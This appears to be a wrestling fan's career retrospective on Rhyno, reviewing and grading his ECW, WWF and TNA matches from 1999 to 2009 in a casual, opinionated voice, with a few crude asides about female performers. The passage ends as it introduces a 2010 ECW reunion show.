We’re going to skip ahead several years here as Rhyno spent most of the next several years in the indies and Germany where there isn’t a ton of video. We’ll pick things up in ECW, where Rhyno appeared on the third episode of ECW on TNN, from September 10, 1999.

Rhyno vs. Super Crazy

Before the ECWites start complaining, yes I know that’s the WWE spelling of it and that’s how I spell it. Get over it. Speed vs. power here. Crazy moves as fast as he can but his springboard moonsault press is caught in a powerslam for two. Rhyno is brand new here. He misses a charge and Crazy hits a springboard missile dropkick and a leg lariat of the same kind of two.

Gertner keeps trying to order Mexican food. Out to the floor and Rhyno is knocked into the crowd. HUGE Asai moonsault takes Rhyno out. Back in the ring and Rhyno starts up the power offense. Crazy comes back with a tornado DDT for two. Selling and being on offense for an extended period weren’t things commonly done in ECW. A moonsault gets knees and another powerslam gets two. Crazy counters a powerbomb into a rana for the pin.

Rating: C-. Not a bad match here with Crazy moving around quite well. The ECW midcard was usually very solid and this was one of their better periods. That being said, I eventually got tired of Tajiri vs. Crazy which happened for months on end. Decent little match here, although the ending was pretty weak. To be fair, Rhyno was brand new at this point so he didn’t have his whole deal down yet.

Rhyno was a big enough deal that he was in the main event of November to Remember 1999, ECW’s biggest show of the year.

Rhyno/Justin Credible/Lance Storm vs. Sandman/Tommy Dreamer/Raven

Literally, we see RVD celebrating and then Rhyno’s music is playing. At least we get to look at Dawn Marie. Francine comes out in a bikini. Ok then. Raven and Dreamer are tag champions at this point. Sandman’s entrance effectively kills five minutes of the show. Why is this a big match? Not important. Why are they fighting? Not important. Why are these people teaming together? Not important.

Actually, I don’t think any of these feuds/matches have been explained. Not important I guess. So with like 5 minutes, the heels don’t bother jumping Raven and Dreamer at all. Brilliant there guys. It’s a good sign when you can walk around for the length of Enter Sandman. We’re already past the prayer. Tommy has a case around hits elbow. Wasn’t he supposed to retire? We kill more time by doing entrances.

Seriously nearly fifteen minutes have passed since the end of the previous match. Hey it’s a bell and we’re going to get a match! Sandman vs. Rhyno start us off since Justin makes a fast tag when he sees who is starting for the faces. And we stall. Raven won’t tag Dreamer. The showdown here is Sandman vs. Credible but we don’t get it yet due to Credible running. Credible had allegedly run Sandman out of ECW to WCW where he sucked for the most part.
We actually have something close to a wrestling match for a little bit. You can tell this is the super show. Storm vs. Sandman is a weird pairing to say the least. I’m not sure if Rhyno had the Gore or not yet. Raven punches Dreamer to get the hot tag. Apparently he does have the Gore as he uses a bad one on Raven. Yep it’s a big brawl. They lasted all of 7 minutes without one. That has to be a record for a main event here.

DDT to Credible gets two. Raven and Dreamer working together is weird and just as I say that Raven drop toe holds him into a chair. NOW THAT’S MORE LIKE IT! The Gore hits Storm and Sandman has a cane. The girls go at it for a bit. Dawn isn’t wearing underwear. Nice. Raven possibly accidently canes Sandman and Credible hits the Tombstone for the pin.

Rating: F+. This is the main event of the biggest show of the year and it doesn’t even break ten minutes? This felt like a total filler match and nothing more. Does this actually change anything? Raven is a bad guy. Is this supposed to be like surprising or something? Seriously, why was this on last? With RVD and Taz at least it would have felt huge. This feels like just another match. I have no idea what Heyman was thinking back then, but it couldn’t have been coherent.

Rhyno would win the TV Title at Cyberslam 2000 and defend it against Sandman at Hardcore Heaven 2000.

TV Title: Sandman vs. Rhyno

We hear about how Sandman has never held this title, which should imply he wins it here. That would make sense of course, so I’m betting against him. His entrance is always cool, but it’s a glorified way to kill 3 minutes. That being said, it’s still completely awesome and I’m hardly complaining.

We go straight to it after a four and a half minute intro. This is the third attempt at this match so it’s a long time coming. Joey admits that this is going to be a fight and not a match, which is about what I expected. There’s your first table. The fans want Sandman to screw him up. Could we please wait until we’re in a hotel for that? This is back when Rhino was still insane and awesome looking so he’s a big favorite.

He misses a shoulder block/spear thing though and crashes through a table. Sandman gets a piledriver for two on a table. Since it didn’t work he does it again. Here’s Sandman’s wife to beat up Jack Victory and Corino stops her. Sandman takes a piledriver on the ramp…and Lori takes a piledriver from the apron through a table which was one of the most played spots in ECW’s following history. For some reason her being dragged with her feet crossed is making me laugh. Sandman picks her up and gets Gored through a table to end it.

Rating: D+. Another wild brawl with Sandman getting his teeth kicked in for the most part. It did its job of making Rhyno look like a tough guy though it was too short and of course had too much interference. Again though, did you expect anything more? This just wasn’t anything special and it came off like another big mess. Decent little brawl though.

Since RVD never lost the TV Title due to his broken ankle, he received a rematch for the title at Anarchy Rulz 2000.

TV Title: Rhyno vs. Rob Van Dam

The whole RVD never got beat and Rhyno is the bigger and better champion is decided here apparently while Justin Credible is main eventing another PPV. Rhyno charges while RVD is doing his spin kick to his name. We immediately go to the floor and I’m not sure if there was a bell yet. This is another of those big brawls that doesn’t really prove anything at all but the fans love them so they kept happening.

The lights are weird here as things are really dark. It’s likely the company just couldn’t afford it I guess. Van Dam hits an over the ropes dive to take out Rhyno. The idea here is RVD’s usual stuff isn’t working so he’s having to hit and run. The skateboard dropkick hits in the corner and the challenger is dominating. Cyrus calls the fans troglodytes. It must be a Canadian thing.

Rhyno hits a middle rope clothesline to kill RVD and take over. And it’s table time. You knew it was coming. Rhyno hits a chinlock as Alfonzo blows his whistle in time with the RVD chants. Five Star gets two and he’s stunned. The Gore hits and there’s the piledriver through the table. Fonzie hits Rhyno with a chair to set up the Van Daminator.

Van Terminator misses thanks to Justin interfering for no apparent reason and it hits Fonzie. Rhyno hits a running spinebuster through the table and then a piledriver on a chair ends it. I always hated that move for him as he’s a power guy using a move that Jerry Lawler used a lot. Never got that.

Rating: D+. You know for a big clash, this was pretty weak. RVD loses….why? Heyman wouldn’t put the spotlight on him because of guys like Justin? This wouldn’t have saved the company but it would have given them a better chance. This was a pretty weak match that didn’t feel special. It’s not really that good and while it’s entertaining, this should have been a main event somewhere instead of a throwaway match. But that would be logical booking which didn’t exist around this time so there we are.

I’ll skip Rhyno winning the ECW World Title at Guilty As Charged 2001 because the match is only about 45 seconds long. He would be in the WWF almost immediately and hook up with Edge and Christian as a loose alliance. One of his first major matches would be at Backlash 2001 for Raven’s Hardcore Title.

Hardcore Title: Raven vs. Rhyno

Rhyno is champion. This is considered one of the best hardcore matches ever so let’s see if it lives up to its hype. Rhyno tries a Gore immediately but Raven drop toeholds him into the stop sign. Trashcan shot gets two. Rhyno takes over with a running shoulder in the corner and the beating begins. Raven gets a trashcan up to block a running charge but it hurts him even more. He falls out to the floor and gets covered for two.

Rhyno sets up the steps and puts Raven in a chair. He tries a run up the stairs to set up a dive, only to crush the chair. Raven uses the same setup but gets a clothesline off the steps for two. Back inside for half a second as Rhyno takes over again. Raven gets his head taken off by a trashcan lid and a sign shot gets two. Back into the ring and Rhyno hits him with a shopping cart. Whatever works I guess.

Drop toehold puts Rhyno into the cart and down he goes. A bunch of sign shots take Rhyno down and a LOUD one does it again. Bulldog out of the corner gets two. Rhyno picks up the shopping cart but Raven gets a trashcan shot in to have the cart fall on Rhyno for two. Cart goes into Rhyno’s ribs but Rhyno gets a sign shot in to get two. Momentum shifts back and forth a lot in this match. Rhyno tries the Gore into the shopping cart but misses and Rhyno is stuck inside the cart. We go to a replay of it and during that the Gore ends Raven. That fits the move as the move is supposed to come out of nowhere, which it did there.

Rating: B. Well they were right, this was good. The key thing here is it never got silly. This was more about violence than the weapons if that makes sense. Most of the time there would be comedy spots in something like this but here, it was all about the violence and the brutality out there, making for a far better and more entertaining match.

And then the InVasion happened. Rhyno would be on the Alliance team at the InVasion pay per view, wrestling in the main event known as the Inaugural Brawl.

Inaugural Brawl: Team WWF vs. Team WCW/ECW

WWF – Steve Austin, Kurt Angle, Chris Jericho, Kane, Undertaker
WCW/ECW – Booker T, Diamond Dallas Page, Rhyno, Dudley Boys

All three Alliance bosses get entrances. Now Vince gets an entrance. It’s been over 12 minutes since the last match ended and we’re not even to the wrestlers’ entrances yet. So yeah for you trivia buffs, this is the other non-ECW PPV that the Dudley Boys main evented. Kane and Taker were still kind of tag partners at this point but not really. So apparently Taker and Kane are balanced out by the Dudley Boyz? Ok then.

Oh and this is just a ten man tag. No special rules or anything like that. And pay no attention to the fact that both Taker and Kane (albeit as a jobber) used to work for WCW. Rhyno makes it the third ECW guy in a row. Talk about a push that died after this. Next is Jericho, who is about as opposite of Rhyno after this show as you could ask of anyone. Stephanie and Jericho was one of the funniest feuds I can ever remember.

Booker is US and World Champion at this time but he would hand the US Title to Kanyon soon after this. This just feels entirely thrown together. Sting is mentioned on a WWF PPV for likely the only time ever. Stephanie dancing to Booker’s music is just hilarious. Angle gets a HUGE pop despite going the wrong way down the ramp.

The level he reached about two months from now was insane. DDP is apparently the biggest deal in the Alliance. Dang did they ever jump the gun here. The 9 mentioned start fighting in the aisle and we have Austin. Notice a certain one sidedness here?

Austin and Rhyno start us off. Austin hits a superplex off the top. Sweet goodness. Jericho gets a NICE pop for the tag. Booker, the only one of the WCW/ECW guys to get a legit push in WWF comes in. Angle gets another great pop. This was after the peak the company had a few months earlier, but it was still a huge deal. This evolves into your standard big time tag match with various people beating on each other with no one really controlling for a ton of time.

DDP hits a Stunner on the top rope on Taker to finally get something resembling control. Austin works on a wristlock on Booker. There’s something you don’t see everyday. We’ve been at this for about ten minutes now and there hasn’t been any long term control. There isn’t much to say here either though as it’s exactly what you would expect it to be. Heyman is awesome at being completely evil when he has to be.

Angle is in some trouble here and the Spinarooni hits. Page hits a spinning powerbomb on Angle which is one of my favorite moves. So after nearly 20 minutes we get to the traditional face in peril sequence of the match. We go old school with Austin getting the tag but the referee didn’t see it. I love things like that. Diamond Cutter on Angle and it gets NO reaction. Cole of course calls it a neck breaker while Ross, 10 seconds after it, says the name right.

And here is the brawl that you knew was coming. Rhyno hits the Gore on Booker and Taker finally gets his hands on DDP again. Chokeslam to Page. Booker and Austin fight on the floor while the WCW referee gets a Last Ride. Taker and DDP go into the crowd while Austin’s knee is messed up after going into the steps. Kane is fighting both Dudleys.

That’s how you can tell Taker is a bigger deal than Kane: when Taker did that, they got their own match. It’s table time. Kane hits a chokeslam through the announce table on D-Von. He got him UP there too. Rhyno and Bubba put Kane through the Spanish Announce Table. Good to see a tradition still alive. Jericho puts Rhyno through the table the Dudleyz set up. Booker and Angle are the only guys still conscious. Oh and Bubba also.

The referee is still looking at Austin’s knee. Yes I’m listing a lot of play by play but you have to here so you know what’s going on. Angle fights off Booker and Bubba with an ankle lock and the Angle Slam, back when it was a good finisher, respectively. And there goes the referee. Cue the finish. Vince grabs the WWF Title and throws it to Angle. Shane gets it though and down goes Vince.

It’s Booker vs. Angle now. Angle hits his pair of finishers on him, Austin throws the referee in, kicks Angle in the head, Stunner, pin, WCW/ECW wins. Austin turned heel again, shocking JR despite him having done the same thing TWO AND A HALF MONTHS EARLIER. Austin and the three Alliance leaders have beers to end the show.

Rating: B. This did something I didn’t think it did: it made the far weaker WCW/ECW team look legit. This was all about making WWF look like they were in danger and it did that. WWF never had the advantage in the whole match until the very end. WCW/ECW controlled this as they should have. Austin turning heel had to be done given the totally rushed nature of this angle but that’s neither here nor there. The match wasn’t terrible either, so I’d say this was a success. Not a classic or anything, but a success.

Rhyno would get a US Title shot against old rival Tajiri at Unforgiven 2001.

US Title: Rhyno vs. Tajiri

Tajiri is champion. JR doesn’t get how Tajiri can date an Alliance chick in Torrie. Common sense never was Ross’ strong suit. Tajiri fires off some kicks and chops but the fans don’t care. To be fair this is a filler match between the Rock match and Austin vs. Angle. Rhyno gets in a shot and we hit the chinlock. Big spinebuster gets two. Rhyno goes after Torrie and loads up a Gore but Tajiri kicks him HARD in the face to break it up. Tornado DDT is countered so there’s an Octopus Hold and an attempted Tarantula. Buzzsaw Kick misses and a suplex sets up the Gore to give Rhyno the title.

Rating: D+. This was nothing but it wasn’t that awful. It needed to be on Smackdown as far as quality but at the same time it did let them have a buffer between the title matches which is a good idea. Also it’s not like there was much to see here so a nacho break was a good idea. Why did Tajiri want to fight here though?

Rhyno would have to have neck surgery in late 2001, putting him out for over a year. We’ll pick things up in 2003 at Wrestlemania XIX where Rhyno is teaming with Chris Benoit in a Smackdown Tag Team Title match.

Smackdown Tag Titles: Los Guerreros vs. Chris Benoit/Rhyno vs. World’s Greatest Tag Team

Haas and Benjamin are defending here. This is Benoit’s reward for having the match of the year against Angle two months earlier, followed by a feud with the freaking FBI while Kevin Nash got world title shots on PPV. I’m sure HHH has NOTHING to do with this right? It’s a big brawl to start until we get down to Benoit vs. Guerrero for a chop off. They collide in the middle of the ring with both guys going down. Rhyno comes in to face Eddie and gets two off a powerslam.

Off to Shelton who pounds Rhyno down before hitting an elbow to the face for two. Off to Haas for a double tag team by the champions on Rhyno. Rhyno throws Haas around with ease and it’s off to Benoit for more chops in the corner. A snap suplex gets two as does its belly to back cousin. Back to Rhyno vs. Benjamin as the announcers talk about Haas and Benjamin having stage fright.

Eddie comes in and dropkicks Rhyno down before it’s back to Benoit for more chopping on his fellow dead guy. Eddie snapmares him down and loads up the Frog Splash, only to have Benoit run over to the corner for some crotching and a superplex. Guerrero comes right back with a brainbuster for two as Haas breaks up the cover again. Off to Chavo who fires off some fast clotheslines to the champions, only to get caught in Rolling Germans by Benoit.

Benjamin comes in off a blind tag and superkicks Chris down for two. Eddie tags himself in and collides with Benoit to put both guys down. Shelton comes in to work on Benoit some more and a legdrop gets two. Eddie breaks it up with a Frog Splash but Chavo tags himself in, only to be suplexed down by Haas. Rhyno comes in for some Gores including one to Chavo, but Benjamin comes in (I have no idea if he was legal) and steals the retaining pin on Chavo.

Rating: C. The match was fine but it had no business being on Wrestlemania. This could have been on any given episode of Smackdown and no one would have noticed the difference. Rhyno and Benoit were just thrown together while the Guerreros were a regular team and former champions. Not bad here but not Wrestlemania worthy.

Rhyno would get back in the swing of things by the end of the summer, getting a US Title shot at Summerslam 2003.

US Title: Eddie Guerrero vs. Chris Benoit vs. Tajiri vs. Rhyno

Eddie is defending and this is one fall to a finish. Eddie has ticked off all three challengers so they all want to take him out. The champion bails to the floor so everyone else can fight and we quickly get down to Rhyno vs. Benoit. Chris hooks a quick Crossface, drawing Eddie in for the save. Tajiri is back in as well but Eddie breaks up a cover. Everyone is in now and all three challengers go after Eddie at the same time.

Rhyno hits a running shoulder to Eddie’s ribs in the corner and powerslams him down for two but Benoit comes back with a German suplex. A belly to back gets two on Tajiri but Eddie makes another save. Benoit is suplexed to the floor and Eddie is left alone with Tajiri, only to have the challenger monkey flip Eddie down for two. Rhyno comes back in and sends Tajiri to the floor but Benoit wants to beat up Eddie himself, triggering a brawl between challengers.

Rhyno gets control again and superplexes Eddie down for two but Tajiri kicks him in the back of the head. Tajiri snaps off the handspring elbow for two on Chris but Rhyno sends Tajiri to the floor, only to have Eddie headscissor him out to the floor. Eddie hurricanranas Benoit out of the corner for two and it’s Tajiri in again for some hard kicks. Eddie hooks the Lasso From El Paso (Liontamer crossed with the Texas Cloverleaf) on Tajiri but Benoit stops Rhyno from making the save with the Crossface.

Tajiri makes the ropes so Eddie turns around to dropkick Benoit in the head for the save. Benoit grabs the Crossface on Guerrero but Rhyno and Tajiri make the double save. Rhyno hits a spinebuster for two on Tajiri but Benoit knocks Rhyno to the floor. Chris rolls some Germans on Tajiri but Tajiri reverses into one of his own for two on Benoit.

Tajiri catches a charging Benoit in the Tarantula and the distraction lets Eddie get the US Title to shield himself from Rhyno’s Gore. Tajiri breaks up the Frog Splash but gets caught in the Tree of Woe. Benoit Swan Dives Rhyno but Tajiri makes a last second save. Tajiri and Benoit fall to the floor and Eddie frog splashes Rhyno to retain.

Rating: B+. This was non-stop action for about eleven minutes and incredibly entertaining as a result. It’s a great example of how wrestling and action can be so much more interesting than whatever drama the McMahons have going on at the moment. Watching these four make save after save is WAY more fun than hearing about Bischoff forcing himself on Linda or Stephanie being FURIOUS with Sable over whatever affair her dad is having this month.

We’ll skip 2004 as Rhyno was stuck in the lower card. Instead we’ll move forward to 2005 where Rhyno went to TNA and was put in the main event scene almost immediately. He would receive a World Title shot at Unbreakable.

NWA World Title: Raven vs. Rhyno

This is No DQ and Raven is defending. Raven brings in his shopping cart full of weapons as is his custom. The weapons are brought in almost immediately and Rhyno bails. He finds a kendo stick from somewhere but stalls more anyway. Raven’s Rules include falls count anywhere apparently. They both have sticks and it’s time for a duel. I don’t think Thesz and Brisco ever did anything like that other than that one show in Boston back in 63. Rhyno knocks him down and chokes with something we can’t see. Apparently it was a nunchuck.

Raven comes back with a pizza cutter to bust Rhyno open. The fans chant that they want pizza. WELL GO BUY IT YOU FREAKING TIGHTWADS! You didn’t pay for a ticket so go buy yourselves a slice! They head to the floor and Raven rams him into a keg. WHY IS THERE A BEER KEG? Either way Rhyno is busted open and Raven finds a ladder. Rhyno hits him with the keg and Raven hits him with the kendo stick. Some cane shots to the back get two.

Raven puts on an ankle lock but Rhyno makes a rope. He slugs Bird Boy to the floor and pops him in the back with a chair a few times. Back inside and Raven is busted open by a garbage can shot. Rhyno does a Joe Face Wash in the corner but Raven grabs the foot for the ankle lock again. Rhyno shrugs that off and pulls out the staple gun. He staples the head of Raven, right on the cut. They didn’t even do that back in Boston in 63.

Rhyno goes up but misses a splash, hitting a chair instead. They slug it out with Raven taking over via the discus lariat. A knee lift puts Rhyno down in the corner and there’s the bulldog for two. Rhyno fights back and here’s Cassidy Riley (Raven worshipper) to help but his distraction means Raven’s DDT only gets two. Rhyno sets up the ladder against a chair like a ramp and then pounds away in the corner on Raven in front of it. If you don’t know what’s coming here, you’re an idiot. That only gets two and both guys are spent.

Rhyno seesaws the ladder into Raven’s face and the champ is in even more trouble than he was before. That also gets two so Rhyno brings the shopping cart inside. This is starting to look like their Backlash 2001 Hardcore Title match which is a good thing. Raven rams him into the cart and avoids the Gore, sending it into the cart. That’s right out of the 01 match and here’s Jarrett. He loads up a belt shot but Jeff Hardy comes down to take the belt away. Raven DDTs Jarrett and Rhyno to retain.

Rating: B-. Decent brawl here but it was too messy for my tastes. Raven was a good champion but him being off TV makes him mostly forgotten. That’s a shame too because he breathed some fresh air into the main event scene. He would lose the title four days later in Canada at some other NWA event, likely because the NWA thought it was a good idea. Anyway, decent match but nothing great.

Rhyno would be entered into a gauntlet match at Bound For Glory 2005 for a shot at the World Title later in the night.

Gauntlet For The Gold

This is kind of like the Royal Rumble as everyone comes in after I think a minute and it’s over the top eliminations. The winner gets Jarrett immediately thereafter. Joe and Truth are the first two entrants. Oh ok these two go for two minutes and then every entrant is one minute. Got it. Truth dances for about 20 seconds to make fun of the Polynesian dance stuff earlier.

There’s no contact until 46 seconds in when Joe punches him in the face. Off to some Facewashes and the running boot. Truth pulls himself to the top and hits a Blockbuster. Downward Spiral puts Joe down and #3 is Sabu who can barely walk. He falls through the middle and bottom rope but has a chair. He BLASTS Truth with it and hits the triple jump moonsault on the same. Air Sabu hits Joe. Remember that there are only one minuet intervals from now on.

Joe throws the chair at Sabu’s legs and Lance Hoyt is in at #4. Joe no sells Hoyt’s punches but can’t no sell a big boot. Abyss is #5 who cleans house and has a staredown with Joe. They chop it out and Abyss grabs him for a chokeslam. Joe grabs HIM for a chokeslam, which is why Joe is awesome. And then Truth breaks it up because he likes to annoy me. Jeff Hardy is #6 and Sabu is busted open. No one has been eliminated yet.

Monty Brown is #7 and he’s limping for some reason. He Pounces Sabu and throws Hardy to the apron, but Hardy pulls him along with him to eliminate both guys. Abyss is almost out but he fights everyone off. #8 is Rhyno who also can barely walk. All of the Monster’s Ball people are in this. Rhyno easily clotheslines Hoyt out and we have five in and two still to go. Kip James (who didn’t wrestle earlier) is #9 and he cleans house. Fameasser to Abyss and AJ is somehow #10, meaning no Raven which is a surprise.

So we have Kip, AJ, Abyss, Joe, Sabu, Truth and Rhyno. AJ goes right after Abyss because he’s just that kind of guy. Apparently Sabu went out off camera somewhere so it’s down to six. Joe pounds on Kip and is the big crowd favorite. Things slow down a bit until AJ hits a big jumping kick to the head of I think Truth. Truth is put onto the apron but he hangs on. Kip charges like an idiot and goes out to get us down to five.

Pele puts Truth down and everyone is down. Abyss talks to Truth, calling him Ronnie. AJ throws Truth over but Kip holds him up from hitting the floor. And never mind as he goes out anyway. So it’s Rhyno, Abyss, AJ and Joe. There’s a solid tag match in there somewhere. AJ somehow explodes on Joe with forearms but gets caught in the choke next to the ropes. Abyss eliminates them both and apparently you win by over the top. Usually it’s a one on one match when it gets down to two. Gore to Abyss and Rhyno tosses him for the quick win.

Rating: C-. Considering that these guys had all fought tonight this wasn’t half bad. AJ had to be gassed after having to stop for about 10 minutes and then start up again. Raven belonged in there instead of freaking Billy Gunn but I think that was part of his feud with management so it made sense I guess. Still though, it was relatively short and the minute time limits weren’t so bad because there weren’t that many people in it.

And now the title match.

NWA World Title: Rhyno vs. Jeff Jarrett

Tito Ortiz is guest referee. Jarrett brings out a casket for no apparent reason. He jumps Rhyno before the belt even comes off and hits a dropkick to put Rhyno down. Out to the floor and Rhyno gets rammed into the announce table and then the casket. Back in a top rope clothesline puts Rhyno down again. He’s had zero offense at all so far. Another top rope clothesline puts the challenger down again so Jeff goes up a third time. Rhyno catches him in chokeslam position but instead throws Jeff into the air and kicks him in the balls.

Gail Kim comes out as the Gore misses. Gail goes up but jumps into the arms of Tito. She tries to slap him so she gets placed on the apron. Guitar shot misses but the second one hits Rhyno square in the face. Rhyno is busted open but it only gets two. Jarrett yells at Ortiz and AMW comes out. There’s another guitar but Ortiz drills both members of AMW. Rhyno Gores Jarrett down and pins him out of nowhere in I think his second offensive move of the match.

Rating: C. The match was nothing great but at the same time, this was Rhyno’s third match of the night and second in a row, plus there was no story to the match but that’s certainly beyond TNA’s control in this case. The match only ran about six minutes and Tito didn’t have much to do with it but again I’m assuming it made more sense with Nash in there. All things considered, this wasn’t bad.

After doing a bunch of meaningless hardcore stuff, Rhyno would get an important hardcore match at Bound For Glory 2006 against Christian Cage. They had been friends but Christian turned on him to set this up.

Christian Cage vs. Rhyno

This is an 8 Mile Street Fight which should be good. Rhyno comes through the crowd and goes straight through the entrance to meet Christian in the parking lot. Christian gets slammed onto a car and thrown into whatever Rhyno can find to throw him into. They climb onto a zamboni machine and Rhyno gets in the driver’s seat. He drives the machine with Christian on top into the arena. Rhyno climbs up to pound on Christian who falls off the machine.

Christian gets away down by the ramp and picks up a fake street lamp, only to get it ripped out of his hands and rammed into his chest. This is total domination so far. Rhyno throws in four chairs and hits Christian with a street lamp before Christian can get to one of the chairs. He loads up the Gore but Christian takes his head off with a chair shot. Rhyno shrugs that off and they go into the crowd with Christian running away even more.

After ramming Christian into some hockey glass they go back to the ring and Rhyno sets up a table at ringside. Back inside and Rhyno suplexes him down and puts up another table in the corner. Christian picks up an 8 Mile Road street sign and CRACKS Rhyno in the head with it. This is the first breather Christian has had. He goes to the floor and pulls out a ladder as Rhyno is busted open and might have another concussion. Christian charges with the ladder but Rhyno drop toeholds him into the ladder.

DDT gets two for Christian and they’re both spent. Rhyno is gone from the concussion and a ladder shot to the head makes it even worse. Christian goes under the ring again and comes up with a straightjacket and another chair. Rhyno gets tied up in the jacket and Christian grabs a pair of chairs to set up the Conchairto but Rhyno moves. Using just his legs and his head he tries a comeback and manages to get Christian down. The referee unhooks the jacket and they fight to the apron in front of the table.

Rhyno PILEDRIVES HIM THROUGH THE TABLE to put both guys down again. THAT gets two so Rhyno loads up the Gore, but Christian moves to send him through the table. It gets two, as does an Unprettier onto the metal part of the broken table. With no idea what else to do, Christian piles up everything on top of Rhyno and hits about eight chair shots onto the pile to crush Rhyno, which FINALLY gets the pin.

Rating: B+. I don’t say this that often, but that was AWESOME. I’m not a fan of the street fights, but this one was really intense with a feeling that someone had to do something big to get the win. The piledriver was awesome, as were the kickouts from Rhyno. Christian finally just pounding the tar out of Rhyno with everything he had until Rhyno couldn’t move an inch was a great finish. Loved this.

Next up was a feud with AJ Styles, with one of their first matches being a last man standing match (thanks Russo) at Final Resolution 2007.

AJ Styles vs. Rhyno

Last man standing but you have to get a pin before the count starts. AJ keeps stealing wins over Rhyno so somehow that means last man standing. Rhyno starts off fast and hammers away. This might be the PPV debut of AJ’s long tights. Rhyno busts out a tope and AJ is reeling early. AJ does his drop down into the dropkick spot. The fans seem split here. Rhyno Hulks Up and beats AJ back again.

AJ pulls the tape off his wrist but as Hebner throws it out, Rhyno takes a low blow. A springboard splash gets a pin and an eight count. AJ pounds him down but a charge results in Rhyno picking him up and dropping him onto the top rope snake eyes style. Out to the floor and AJ hits a flip dive. Quickly back into the ring and AJ gets two. AJ is the heel here but he’s still more popular than Rhyno.

AJ comes off the ropes with a forearm but jumps into a spinebuster for the pin. It only gets about seven. They circle each other and slug it out. Rhyno takes over and loads up a superplex but walks into a sunset bomb for two. TKO gets two for Rhyno. It’s Table Time but Styles manages to crotch Rhyno on the edge of it. Back in the springboard forearm only gets two.

Powerbomb puts AJ down but Rhyno walks into a Pele to put him down. A Gore out of nowhere kills AJ but Rhyno doesn’t cover. Another Gore kills him even deader for the pin and the ten count. That second one looked SICK. AJ could have gotten up but sat down to avoid a third Gore.

Rating: C+. Not bad but the going back and forth came a little too fast. You would see them go down and then be up seconds later. Also they didn’t get particularly violent at all, which makes me question why they went with this as the opener. It was good but you would expect more when you hear the words last man standing.

After a bad feud with James Storm about Rhyno’s alcoholism, Rhyno would go after the World Title again, getting a shot in King of the Mountain at Slammiversary 2008.

TNA World Title: Samoa Joe vs. Robert Roode vs. Booker T vs. Christian Cage vs. Rhyno

No one in history has come in as champion and left as champion. Nash is guest enforcer. Everyone gets a video on their way to the ring so this takes a LONG time. Now let’s have big match intros. The entrances for this match have been going over ten minutes already. Nash is the referee holding the belt and we’re FINALLY ready to go. It’s a big brawl all around to start with Rhyno and Christian working on Roode and Booker fighting Joe in the ring.

Scratch the in the ring part as they’ve switched places. Rhyno and Christian destroy Roode with a lot of double teaming but here’s Booker. Booker shoves Christian off the top to the floor and he’s holding his knee. The axe kick and Gore both miss and here’s Joe again to fight Rhyno. Joe gets a running boot and a backsplash for two as Roode makes the save. Roode tries a flying clothesline but Joe just steps to the side. I still love that.

Christian is back in now and the knee looks ok. He hits an inverted DDT on Roode but gets struck down by Joe. Scoop powerslam gets two for Joe. He ties the Canadian in the Tree of Woe and hammers away and is in total control here. Booker trips him up and pulls him to the floor, pounding away out there. Booker comes back in and meets Rhyno with a Book End for a pin. Booker is now eligible to hang the belt and Rhyno is in the box for two minutes.

He’s got the belt now and Nash isn’t happy. The ladder is brought in and Christian hits a baseball slide to send it into the faces of Booker and Joe. Christian sends Roode over the top and here’s Rhyno out of the box. He and Christian go at it even though they’re friends. Rhyno loads up the Gore but Joe trips him up and crotches him against the post. Joe is like screw it and hits a spinning dive to take out Rhyno, Booker and Roode all at once.

Christian is like I can top that and goes on top of the box and dives off to take out all four of those guys. Christian channels his inner Dudley and sets up a table on the floor. Back in the ring Captain Charisma has the ladder but Roode gets a chair from somewhere and pops it against the ladder into Christian’s head for the pin. Roode and Booker are now eligible. Less than thirty seconds later, Rhyno rolls up Roode to become eligible too.

Nash beats up Roode to make sure that he gets in the box along with Cage. Rhyno goes up with the belt but Booker makes the save. Joe hooks a cobra clutch on Booker and Cage is freed from his namesake. He goes on top of the penalty box and hits a frog splash onto Booker to become eligible and send Booker to the box. Roode is out as well. Quick recap: Everyone but Joe is eligible and Booker is in the box.

Roode goes up but Joe suplexes him off the ladder. Now Christian goes up and is taken right down with a big cutter off the ladder. Gore hits Joe and everyone is down. Booker is out of the box and can’t even stand up. Ok maybe he can as he grabs the belt and blasts Nash and Rhyno and Joe and Roode. Down goes Christian too, leaving Booker as the only person conscious. Since he’s mostly a heel though, he stops for a Spinarooni.

Nash comes into the ring and powerbombs Booker off the ladder. That makes sense given that he was provoked. Joe tries a MuscleBuster on Christian but he escapes. Joe knocks Christian through the table from earlier as Roode sets up the ladder. Roode goes up but Joe takes him down with a MuscleBuster. Joe immediately goes up and hangs the belt to retain. That was a fast ending but it was effective and smart.

Rating: B-. This wasn’t a classic or anything but it was a pretty solid King of the Mountain match. I don’t think many people were thinking Joe would lose here, namely due to a lack of an A-List challenger outside of maybe Booker or Christian. The idea here was how does Joe win it and he did a good job of that here. Pretty fun match despite the traditional insane rules this match has.

One more title shot, from Genesis 2009.

TNA World Title: Sting vs. Rhyno

Sounds like a weak superhero comic. I still don’t like these tales of the tape. Why do we need to be told again what the main points here are? Also why isn’t this the main event? Oh that’s right: there are more old guys and D-Von in the main event. Rhyno is holding his back, has tape around his head and has blood on his face. He couldn’t even just wash his face?

Rhyno jumps him when the coat is still on. NO reaction for Rhyno shouting to the crowd as this is a very Sting crowd. Rhyno as usual has the Detroit Tigers D on his back which always comes off as cool to me. Cue people suggesting the Guns should join him because it would be AWESOME. The tape is off of Rhyno’s head. About two or three minutes in Sting gets his t-shirt off.

He throws on a bearhug, which isn’t something you would imagine him using. This however is smart as Rhyno’s back is hurt so Sting goes after it. This is a great example of what I always talk about: psychology. Sting’s finishing hold works on the legs and back and Rhyno has a bad back. It would make no sense for Sting to go after Rhyno’s arm would it? Working on his injured back makes sense though. That’s a fine example of psychology.

Belly to belly by Rhyno gets two after he breaks out of the hold. GORE out of nowhere and it gets no reaction at all. Sting hits the floor and I’m puzzled as to the lack of reaction. Rhyno goes up top and misses a splash and there’s the Scorpion. Ever since the late 90s Sting has never really done this move the same. He’s always kind of leaning over Rhyno instead of sitting down. I’ve never gotten why either but it just doesn’t look nearly as effective as it could be otherwise.

Fans loudly booing Rhyno now. He goes for the Gore but his back gives out and Sting hits the Death Drop to retain. I’m still trying to understand the crowd here as they were just completely anti-Rhyno the whole time. Again, and please Vince Russo pay attention: PEOPLE LIKE STING. No matter who you put against him or what you do with him, the people love him.

Rating: D. This would be an ok match on TV or something, but for a PPV, this was very bad. This is supposed to be the match that the title is for on PPV? People were supposed to pay to see this? It could have been an ok match but I don’t get why they had to do the injury angle and such. It just wasn’t entertaining on a PPV main event level. Just didn’t do it at all.

Since TNA is TNA, they decided to have an ECW reunion in 2010. Rhyno was on the card at Hardcore Justice.

